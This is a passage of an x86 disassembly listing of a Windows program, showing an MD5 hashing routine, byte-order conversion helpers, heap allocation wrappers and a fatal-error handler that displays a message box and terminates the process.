		lea	edx, [edx+ecx-173848AAh]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		not	edx
		and	edx, edi
		mov	edi, ecx
		and	edi, eax
		or	edx, edi
		add	edx, [ebp+var_48]
		lea	edx, [ebx+edx+242070DBh]
		mov	ebx, ecx
		mov	edi, edx
		shr	edi, 0Fh
		shl	edx, 11h
		or	edi, edx
		add	edi, ecx
		mov	edx, edi
		and	ebx, edi
		not	edx
		and	edx, eax
		mov	[ebp+var_C], edi
		or	edx, ebx
		mov	ebx, [ebp+var_8]
		add	edx, [ebp+var_44]
		lea	ebx, [ebx+edx-3E423112h]
		mov	edx, ebx
		shl	edx, 16h
		shr	ebx, 0Ah
		or	edx, ebx
		add	edx, edi
		mov	ebx, edx
		and	edi, edx
		not	ebx
		and	ebx, ecx
		or	ebx, edi
		add	ebx, [ebp+var_40]
		lea	eax, [eax+ebx-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		mov	eax, edx
		add	edi, edx
		mov	[ebp+var_4], edi
		and	eax, [ebp+var_4]
		not	edi
		and	edi, [ebp+var_C]
		or	edi, eax
		add	edi, [ebp+var_3C]
		lea	ecx, [ecx+edi+4787C62Ah]
		mov	eax, ecx
		shr	eax, 14h
		shl	ecx, 0Ch
		or	eax, ecx
		add	eax, [ebp+var_4]
		mov	ecx, eax
		mov	edi, eax
		and	edi, [ebp+var_4]
		mov	ebx, eax
		not	ecx
		and	ecx, edx
		or	ecx, edi
		mov	edi, [ebp+var_C]
		add	ecx, [ebp+var_38]
		lea	edi, [edi+ecx-57CFB9EDh]
		mov	ecx, edi
		shr	ecx, 0Fh
		shl	edi, 11h
		or	ecx, edi
		add	ecx, eax
		mov	edi, ecx
		and	ebx, ecx
		not	edi
		and	edi, [ebp+var_4]
		or	edi, ebx
		mov	ebx, ecx
		add	edi, [ebp+var_34]
		lea	edx, [edx+edi-2B96AFFh]
		mov	edi, edx
		shl	edi, 16h
		shr	edx, 0Ah
		or	edi, edx
		add	edi, ecx
		mov	edx, edi
		and	ebx, edi
		not	edx
		and	edx, eax
		mov	[ebp+var_8], edi
		or	edx, ebx
		mov	ebx, [ebp+var_4]
		add	edx, [ebp+var_30]
		lea	ebx, [ebx+edx+698098D8h]
		mov	edx, ebx
		shr	edx, 19h
		shl	ebx, 7
		or	edx, ebx
		add	edx, edi
		mov	ebx, edx
		and	edi, edx
		not	ebx
		and	ebx, ecx
		or	ebx, edi
		add	ebx, [ebp+var_2C]
		lea	eax, [eax+ebx-74BB0851h]
		mov	edi, eax
		shr	edi, 14h
		shl	eax, 0Ch
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		mov	ebx, edi
		not	eax
		and	eax, [ebp+var_8]
		and	ebx, edx
		or	eax, ebx
		add	eax, [ebp+var_28]
		lea	ecx, [ecx+eax-0A44Fh]
		mov	ebx, ecx
		shr	ebx, 0Fh
		shl	ecx, 11h
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, edi
		mov	eax, ebx
		and	ecx, ebx
		not	eax
		and	eax, edx
		mov	[ebp+var_C], ebx
		or	eax, ecx
		mov	ecx, [ebp+var_8]
		add	eax, [ebp+var_24]
		lea	ecx, [ecx+eax-76A32842h]
		mov	eax, ecx
		shl	eax, 16h
		shr	ecx, 0Ah
		or	eax, ecx
		add	eax, ebx
		mov	ecx, eax
		and	ebx, eax
		not	ecx
		and	ecx, edi
		or	ecx, ebx
		add	ecx, [ebp+var_20]
		lea	edx, [edx+ecx+6B901122h]
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		mov	edx, eax
		add	ecx, eax
		mov	[ebp+var_4], ecx
		and	edx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	ecx, edx
		add	ecx, [ebp+var_1C]
		lea	edi, [edi+ecx-2678E6Dh]
		mov	ecx, edi
		shr	ecx, 14h
		shl	edi, 0Ch
		or	ecx, edi
		add	ecx, [ebp+var_4]
		mov	[ebp+arg_0], ecx
		mov	edi, ecx
		not	[ebp+arg_0]
		mov	edx, [ebp+arg_0]
		and	edi, [ebp+var_4]
		and	edx, eax
		mov	ebx, ecx
		or	edx, edi
		mov	edi, [ebp+var_C]
		add	edx, [ebp+var_18]
		lea	edi, [edi+edx-5986BC72h]
		mov	edx, edi
		shr	edx, 0Fh
		shl	edi, 11h
		or	edx, edi
		add	edx, ecx
		mov	[ebp+var_10], edx
		and	ebx, edx
		not	[ebp+var_10]
		mov	edi, [ebp+var_10]
		and	edi, [ebp+var_4]
		or	edi, ebx
		mov	ebx, ecx
		add	edi, [ebp+var_14]
		lea	eax, [eax+edi+49B40821h]
		mov	edi, eax
		shl	edi, 16h
		shr	eax, 0Ah
		or	edi, eax
		mov	eax, [ebp+arg_0]
		add	edi, edx
		and	eax, edx
		and	ebx, edi
		or	eax, ebx
		mov	ebx, [ebp+var_4]
		add	eax, [ebp+var_4C]
		lea	eax, [ebx+eax-9E1DA9Eh]
		mov	ebx, eax
		shr	ebx, 1Bh
		shl	eax, 5
		or	ebx, eax
		mov	eax, [ebp+var_10]
		and	eax, edi
		add	ebx, edi
		mov	[ebp+arg_0], eax
		mov	eax, edx
		and	eax, ebx
		mov	[ebp+var_4], ebx
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		or	eax, ebx
		add	eax, [ebp+var_38]
		lea	ecx, [ecx+eax-3FBF4CC0h]
		mov	eax, ecx
		shr	eax, 17h
		shl	ecx, 9
		or	eax, ecx
		mov	ecx, edi
		add	eax, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_4]
		mov	ebx, eax
		and	ebx, edi
		or	ecx, ebx
		add	ecx, [ebp+var_24]
		lea	edx, [edx+ecx+265E5A51h]
		mov	ecx, edx
		shr	ecx, 12h
		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_C], ecx
		and	ecx, [ebp+var_4]
		not	edx
		and	edx, eax
		mov	ebx, [ebp+var_C]
		or	edx, ecx
		add	edx, [ebp+var_50]
		lea	edi, [edi+edx-16493856h]
		mov	edx, eax
		mov	ecx, edi
		shl	ecx, 14h
		shr	edi, 0Ch
		or	ecx, edi
		mov	edi, eax
		add	ecx, ebx
		not	edx
		and	edx, ebx
		and	edi, ecx
		or	edx, edi
		mov	edi, [ebp+var_4]
		add	edx, [ebp+var_3C]
		lea	edx, [edi+edx-29D0EFA3h]
		mov	edi, edx
		shr	edi, 1Bh
		shl	edx, 5
		or	edi, edx
		mov	edx, ebx
		add	edi, ecx
		mov	[ebp+var_4], edi
		mov	edi, ebx
		and	edi, [ebp+var_4]
		not	edx
		and	edx, ecx
		or	edx, edi
		add	edx, [ebp+var_28]
		lea	eax, [eax+edx+2441453h]
		mov	edx, eax
		shr	edx, 17h
		shl	eax, 9
		or	edx, eax
		mov	eax, ecx
		add	edx, [ebp+var_4]
		not	eax
		and	eax, [ebp+var_4]
		mov	edi, edx
		and	edi, ecx
		or	eax, edi
		add	eax, [ebp+var_14]
		lea	edi, [ebx+eax-275E197Fh]
		mov	eax, edi
		shr	eax, 12h
		shl	edi, 0Eh
		or	eax, edi
		mov	edi, [ebp+var_4]
		add	eax, edx
		mov	ebx, eax
		and	ebx, [ebp+var_4]
		not	edi
		and	edi, edx
		or	edi, ebx
		mov	ebx, edx
		add	edi, [ebp+var_40]
		lea	ecx, [ecx+edi-182C0438h]
		mov	edi, ecx
		shl	edi, 14h
		shr	ecx, 0Ch
		or	edi, ecx
		mov	ecx, edx
		add	edi, eax
		not	ecx
		and	ecx, eax
		and	ebx, edi
		or	ecx, ebx
		mov	ebx, [ebp+var_4]
		add	ecx, [ebp+var_2C]
		mov	[ebp+var_8], edi
		lea	ebx, [ebx+ecx+21E1CDE6h]
		mov	ecx, ebx
		shr	ecx, 1Bh
		shl	ebx, 5
		or	ecx, ebx
		mov	ebx, eax
		not	ebx
		add	ecx, edi
		and	ebx, edi
		mov	edi, eax
		and	edi, ecx
		or	ebx, edi
		add	ebx, [ebp+var_18]
		lea	edx, [edx+ebx-3CC8F82Ah]
		mov	edi, edx
		shr	edi, 17h
		shl	edx, 9
		or	edi, edx
		mov	edx, [ebp+var_8]
		add	edi, ecx
		mov	ebx, edi
		and	ebx, [ebp+var_8]
		not	edx
		and	edx, ecx
		or	edx, ebx
		add	edx, [ebp+var_44]
		lea	eax, [eax+edx-0B2AF279h]
		mov	edx, eax
		shr	edx, 12h
		shl	eax, 0Eh
		or	edx, eax
		mov	eax, ecx
		add	edx, edi
		not	eax
		mov	ebx, edx
		and	eax, edi
		and	ebx, ecx
		or	eax, ebx
		mov	ebx, [ebp+var_8]
		add	eax, [ebp+var_30]
		lea	eax, [ebx+eax+455A14EDh]
		mov	ebx, eax
		shl	ebx, 14h
		shr	eax, 0Ch
		or	ebx, eax
		mov	eax, edi
		add	ebx, edx
		mov	[ebp+var_8], ebx
		not	eax
		mov	ebx, edi
		and	eax, edx
		and	ebx, [ebp+var_8]
		or	eax, ebx
		add	eax, [ebp+var_1C]
		lea	ecx, [ecx+eax-561C16FBh]
		mov	eax, ecx
		shr	eax, 1Bh
		shl	ecx, 5
		or	eax, ecx
		mov	ecx, edx
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		and	ecx, [ebp+var_4]
		mov	eax, edx
		mov	ebx, [ebp+var_4]
		not	eax
		and	eax, [ebp+var_8]
		or	eax, ecx
		mov	ecx, [ebp+var_8]
		add	eax, [ebp+var_48]
		not	ecx
		and	ecx, ebx
		lea	edi, [edi+eax-3105C08h]
		mov	eax, edi
		shr	eax, 17h
		shl	edi, 9
		or	eax, edi
		add	eax, ebx
		mov	edi, eax
		and	edi, [ebp+var_8]
		or	ecx, edi
		add	ecx, [ebp+var_34]
		lea	edx, [edx+ecx+676F02D9h]
		mov	ecx, edx
		shr	ecx, 12h
		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, ebx
		add	ecx, eax
		not	edx
		mov	edi, ecx
		and	edx, eax
		and	edi, ebx
		or	edx, edi
		mov	edi, [ebp+var_8]
		add	edx, [ebp+var_20]
		lea	edi, [edi+edx-72D5B376h]
		mov	edx, edi
		shl	edx, 14h
		shr	edi, 0Ch
		or	edx, edi
		mov	edi, eax
		add	edx, ecx
		xor	edi, ecx
		xor	edi, edx
		add	edi, [ebp+var_3C]
		lea	ebx, [ebx+edi-5C6BEh]
		mov	edi, ebx
		shr	edi, 1Ch
		shl	ebx, 4
		or	edi, ebx
		mov	ebx, ecx
		add	edi, edx
		xor	ebx, edx
		xor	ebx, edi
		add	ebx, [ebp+var_30]
		lea	eax, [eax+ebx-788E097Fh]
		mov	ebx, eax
		shr	ebx, 15h
		shl	eax, 0Bh
		or	ebx, eax
		add	ebx, edi
		mov	eax, ebx
		xor	eax, edx
		xor	eax, edi
		add	eax, [ebp+var_24]
		lea	ecx, [ecx+eax+6D9D6122h]
		mov	eax, ecx
		shr	eax, 10h
		shl	ecx, 10h
		or	eax, ecx
		mov	ecx, ebx
		add	eax, ebx
		xor	ecx, eax
		mov	[ebp+var_C], eax
		mov	eax, ecx
		xor	eax, edi
		add	eax, [ebp+var_18]
		lea	edx, [edx+eax-21AC7F4h]
		mov	eax, edx
		shl	eax, 17h
		shr	edx, 9
		or	eax, edx
		add	eax, [ebp+var_C]
		xor	ecx, eax
		add	ecx, [ebp+var_4C]
		lea	edi, [edi+ecx-5B4115BCh]
		mov	ecx, edi
		shr	ecx, 1Ch
		shl	edi, 4
		or	ecx, edi
		mov	edi, [ebp+var_C]
		mov	edx, edi
		add	ecx, eax
		xor	edx, eax
		xor	edx, ecx
		add	edx, [ebp+var_40]
		lea	ebx, [ebx+edx+4BDECFA9h]
		mov	edx, ebx
		shr	edx, 15h
		shl	ebx, 0Bh
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		mov	[ebp+arg_0], edx
		xor	ebx, eax
		xor	ebx, ecx
		add	ebx, [ebp+var_34]
		lea	ebx, [edi+ebx-944B4A0h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		add	edi, edx
		xor	[ebp+arg_0], edi
		mov	ebx, [ebp+arg_0]
		xor	ebx, ecx
		add	ebx, [ebp+var_28]
		lea	ebx, [eax+ebx-41404390h]
		mov	eax, ebx
		shl	eax, 17h
		shr	ebx, 9
		or	eax, ebx
		mov	ebx, [ebp+arg_0]
		add	eax, edi
		xor	ebx, eax
		add	ebx, [ebp+var_1C]
		lea	ebx, [ecx+ebx+289B7EC6h]
		mov	ecx, ebx
		shr	ecx, 1Ch
		shl	ebx, 4
		or	ecx, ebx
		mov	ebx, edi
		add	ecx, eax
		xor	ebx, eax
		xor	ebx, ecx
		add	ebx, [ebp+var_50]
		lea	edx, [edx+ebx-155ED806h]
		mov	ebx, edx
		shr	ebx, 15h
		shl	edx, 0Bh
		or	ebx, edx
		add	ebx, ecx
		mov	edx, ebx
		xor	edx, eax
		xor	edx, ecx
		add	edx, [ebp+var_44]
		lea	edx, [edi+edx-2B10CF7Bh]
		mov	edi, edx
		shr	edi, 10h
		shl	edx, 10h
		or	edi, edx
		mov	[ebp+arg_0], ebx
		add	edi, ebx
		xor	[ebp+arg_0], edi
		mov	edx, [ebp+arg_0]
		xor	edx, ecx
		add	edx, [ebp+var_38]
		lea	edx, [eax+edx+4881D05h]
		mov	eax, edx
		shl	eax, 17h
		shr	edx, 9
		or	eax, edx
		mov	edx, [ebp+arg_0]
		add	eax, edi
		xor	edx, eax
		add	edx, [ebp+var_2C]
		lea	edx, [ecx+edx-262B2FC7h]
		mov	ecx, edx
		shr	ecx, 1Ch
		shl	edx, 4
		or	ecx, edx
		mov	edx, edi
		xor	edx, eax
		add	ecx, eax
		xor	edx, ecx
		add	edx, [ebp+var_20]
		lea	ebx, [ebx+edx-1924661Bh]
		mov	edx, ebx
		shr	edx, 15h
		shl	ebx, 0Bh
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		xor	ebx, eax
		xor	ebx, ecx
		add	ebx, [ebp+var_14]
		lea	ebx, [edi+ebx+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		xor	ebx, edi
		xor	ebx, ecx
		add	ebx, [ebp+var_48]
		lea	eax, [eax+ebx-3B53A99Bh]
		mov	ebx, eax
		shl	ebx, 17h
		shr	eax, 9
		or	ebx, eax
		mov	eax, edx
		add	ebx, edi
		not	eax
		or	eax, ebx
		xor	eax, edi
		add	eax, [ebp+var_50]
		lea	eax, [ecx+eax-0BD6DDBCh]
		mov	ecx, eax
		shr	ecx, 1Ah
		shl	eax, 6
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [ebp+var_34]
		lea	eax, [edx+eax+432AFF97h]
		mov	edx, eax
		shr	edx, 16h
		shl	eax, 0Ah
		or	edx, eax
		mov	eax, ebx
		add	edx, ecx
		not	eax
		or	eax, edx
		xor	eax, ecx
		add	eax, [ebp+var_18]
		lea	eax, [edi+eax-546BDC59h]
		mov	edi, eax
		shr	edi, 11h
		shl	eax, 0Fh
		or	edi, eax
		mov	eax, ecx
		add	edi, edx
		push	85845DD1h
		not	eax
		or	eax, edi
		push	15h
		xor	eax, edx
		push	[ebp+var_4C]
		add	eax, [ebp+var_3C]
		lea	ebx, [ebx+eax-36C5FC7h]
		mov	eax, ebx
		shl	eax, 15h
		shr	ebx, 0Bh
		or	eax, ebx
		mov	ebx, edx
		add	eax, edi
		not	ebx
		or	ebx, eax
		mov	[ebp+var_8], eax
		xor	ebx, edi
		add	ebx, [ebp+var_20]
		lea	ecx, [ecx+ebx+655B59C3h]
		mov	ebx, ecx
		shr	ebx, 1Ah
		shl	ecx, 6
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, eax
		not	ecx
		or	ecx, ebx
		push	ebx
		xor	ecx, eax
		mov	[ebp+var_4], ebx
		add	ecx, [ebp+var_44]
		not	eax
		lea	edx, [edx+ecx-70F3336Eh]
		mov	ecx, edx
		shr	ecx, 16h
		shl	edx, 0Ah
		or	ecx, edx
		add	ecx, ebx
		or	eax, ecx
		push	ecx
		xor	eax, ebx
		mov	[ebp+var_10], ecx
		add	eax, [ebp+var_28]
		lea	eax, [edi+eax-100B83h]
		mov	edx, eax
		shr	edx, 11h
		shl	eax, 0Fh
		or	edx, eax
		lea	eax, [ebp+var_8]
		add	edx, ecx
		push	edx
		push	eax
		mov	[ebp+var_C], edx
		call	sub_499280
		push	6FA87E4Fh
		push	6
		push	[ebp+var_30]
		lea	eax, [ebp+var_4]
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	eax
		call	sub_499280
		push	0FE2CE6E0h
		push	0Ah
		push	[ebp+var_14]
		lea	eax, [ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	eax
		call	sub_499280
		add	esp, 54h
		push	0A3014314h
		push	0Fh
		push	[ebp+var_38]
		lea	eax, [ebp+var_C]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_10]
		push	eax
		call	sub_499280
		push	4E0811A1h
		push	15h
		push	[ebp+var_1C]
		lea	eax, [ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	eax
		call	sub_499280
		push	0F7537E82h
		push	6
		push	[ebp+var_40]
		lea	eax, [ebp+var_4]
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	eax
		call	sub_499280
		add	esp, 54h
		lea	eax, [ebp+var_10]
		push	0BD3AF235h
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	eax
		call	sub_499280
		push	2AD7D2BBh
		push	0Fh
		push	[ebp+var_48]
		lea	eax, [ebp+var_C]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_10]
		push	eax
		call	sub_499280
		push	0EB86D391h
		push	15h
		push	[ebp+var_2C]
		lea	eax, [ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	eax
		call	sub_499280
		mov	eax, [ebp+var_4]
		add	esp, 54h
		add	[esi], eax
		mov	eax, [ebp+var_8]
		add	[esi+4], eax
		mov	eax, [ebp+var_C]
		add	[esi+8], eax
		mov	eax, [ebp+var_10]
		add	[esi+0Ch], eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4989D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499280	proc near		; CODE XREF: sub_4989D8+79Cp
					; sub_4989D8+7B8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_C]
		mov	edx, [ebp+arg_0]
		not	eax
		or	eax, [ebp+arg_4]
		push	esi
		push	20h
		xor	eax, [ebp+arg_8]
		pop	ecx
		sub	ecx, [ebp+arg_14]
		add	eax, [edx]
		add	eax, [ebp+arg_10]
		add	eax, [ebp+arg_18]
		mov	esi, eax
		shr	esi, cl
		mov	ecx, [ebp+arg_14]
		shl	eax, cl
		or	esi, eax
		add	esi, [ebp+arg_4]
		mov	[edx], esi
		pop	esi
		pop	ebp
		retn
sub_499280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4992B3	proc near		; CODE XREF: sub_49885D+F2p
					; sub_49885D+12Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jbe	short loc_4992F6
		mov	edx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx

loc_4992CB:				; CODE XREF: sub_4992B3+40j
		mov	dl, [ecx]
		mov	[eax-1], dl
		mov	edx, [ecx]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		add	ecx, 4
		lea	edx, [esi+eax]
		cmp	edx, [ebp+arg_8]
		jb	short loc_4992CB
		pop	esi

loc_4992F6:				; CODE XREF: sub_4992B3+7j
		pop	ebp
		retn	0Ch
sub_4992B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4992FA	proc near		; CODE XREF: sub_4989D8+2Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jbe	short loc_49933E
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	esi
		push	edi
		push	0FFFFFFFEh
		lea	eax, [edx+2]
		pop	esi
		sub	esi, edx

loc_499313:				; CODE XREF: sub_4992FA+40j
		movzx	edi, byte ptr [eax-1]
		xor	edx, edx
		mov	dh, [eax+1]
		mov	dl, [eax]
		add	eax, 4
		shl	edx, 8
		or	edx, edi
		movzx	edi, byte ptr [eax-6]
		shl	edx, 8
		or	edx, edi
		mov	[ecx], edx
		lea	edx, [esi+eax]
		add	ecx, 4
		cmp	edx, [ebp+arg_8]
		jb	short loc_499313
		pop	edi
		pop	esi

loc_49933E:				; CODE XREF: sub_4992FA+7j
		pop	ebp
		retn	0Ch
sub_4992FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499342	proc near		; CODE XREF: _4:0048FC71p _4:0048FC92p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		push	0
		push	0
		push	0
		push	[ebp+var_4]
		call	ds:dword_4A2778	; RaiseException
		leave
		retn
sub_499342	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49935A	proc near		; CODE XREF: sub_48E2E0+3C8p
					; _4:0048FE70p	...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		call	sub_499397
		mov	[ebp+var_8], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_499371
		xor	eax, eax
		jmp	short locret_499395
; ---------------------------------------------------------------------------

loc_499371:				; CODE XREF: sub_49935A+11j
		push	[ebp+arg_0]
		push	8
		push	[ebp+var_8]
		call	ds:dword_4A2740	; RtlAllocateHeap
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_499392
		mov	ecx, 0EF000009h
		call	sub_499342

loc_499392:				; CODE XREF: sub_49935A+2Cj
		mov	eax, [ebp+var_4]

locret_499395:				; CODE XREF: sub_49935A+15j
		leave
		retn
sub_49935A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499397	proc near		; CODE XREF: sub_49935A+5p
					; sub_4993DD:loc_4993E9p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_4A2A44, 0
		jnz	short loc_4993C0
		push	0
		push	10000h
		push	0
		call	ds:dword_4A2748	; HeapCreate
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	ds:dword_4A2A44, eax
		jmp	short loc_4993C8
; ---------------------------------------------------------------------------

loc_4993C0:				; CODE XREF: sub_499397+Bj
		mov	eax, ds:dword_4A2A44
		mov	[ebp+var_4], eax

loc_4993C8:				; CODE XREF: sub_499397+27j
		cmp	[ebp+var_4], 0
		jnz	short loc_4993D8
		mov	ecx, 0EF00000Dh
		call	sub_499342

loc_4993D8:				; CODE XREF: sub_499397+35j
		mov	eax, [ebp+var_4]
		leave
		retn
sub_499397	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4993DD	proc near		; CODE XREF: _4:0048F1FEp
					; sub_49000C+10p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_4993E9
		jmp	short locret_4993FF
; ---------------------------------------------------------------------------

loc_4993E9:				; CODE XREF: sub_4993DD+8j
		call	sub_499397
		mov	[ebp+var_4], eax
		push	[ebp+arg_0]
		push	0
		push	[ebp+var_4]
		call	ds:dword_4A2744	; RtlFreeHeap

locret_4993FF:				; CODE XREF: sub_4993DD+Aj
		leave
		retn
sub_4993DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499401	proc near		; CODE XREF: sub_49948C+64p
					; sub_4994F7+3Ap

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		push	0
		push	0
		call	ds:dword_4A27C4	; ChangeDisplaySettingsA
		push	10h
		push	ds:off_49F4F4
		push	[ebp+var_4]
		push	0
		call	ds:dword_4A27D0	; MessageBoxA
		push	0
		call	ds:dword_4A26E4	; GetCurrentProcess
		push	eax
		call	ds:dword_4A2798	; TerminateProcess
		leave
		retn
sub_499401	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499436	proc near		; CODE XREF: sub_49948C+52p
					; sub_49948C+5Cp ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F500
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_1C], ecx
		and	[ebp+var_4], 0
		push	[ebp+var_1C]
		call	sub_499538
		pop	ecx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_49947D
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh

loc_49947D:				; CODE XREF: sub_499436+3Aj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_499436	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49948C	proc near		; CODE XREF: sub_490036+C4p
					; sub_49094C+CDp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	offset dword_4A2A28
		call	ds:dword_4A26C4	; RtlEnterCriticalSection
		mov	[ebp+var_8], offset dword_4A2A48
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset aErrorAtSDReaso ; "Error	at %s:%d\n\nReason: "
		push	[ebp+var_8]
		call	ds:dword_4A27D4	; wsprintfA
		add	esp, 10h
		mov	[ebp+var_C], eax
		lea	eax, [ebp+arg_C]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_8]
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4A27D8	; wvsprintfA
		and	[ebp+var_4], 0
		mov	ecx, [ebp+var_8]
		call	sub_499436
		mov	ecx, offset asc_4A1D5C ; "\n"
		call	sub_499436
		mov	ecx, [ebp+var_8]
		call	sub_499401
		leave
		retn
sub_49948C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4994F7	proc near		; CODE XREF: sub_495AB0+128p
					; sub_49EAB0+8p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_8], offset dword_4A2A48
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	[ebp+var_8]
		call	ds:dword_4A27D8	; wvsprintfA
		and	[ebp+var_4], 0
		mov	ecx, [ebp+var_8]
		call	sub_499436
		mov	ecx, offset asc_4A1D5C ; "\n"
		call	sub_499436
		mov	ecx, [ebp+var_8]
		call	sub_499401
		leave
		retn
sub_4994F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499538	proc near		; CODE XREF: sub_499436+30p
					; sub_499726+74p ...

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F510
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		push	offset dword_4A2A28
		call	ds:dword_4A26C4	; RtlEnterCriticalSection
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		mov	eax, offset dword_48E720
		mov	eax, [eax+4]
		mov	eax, [eax+78h]
		mov	[ebp+var_20], eax
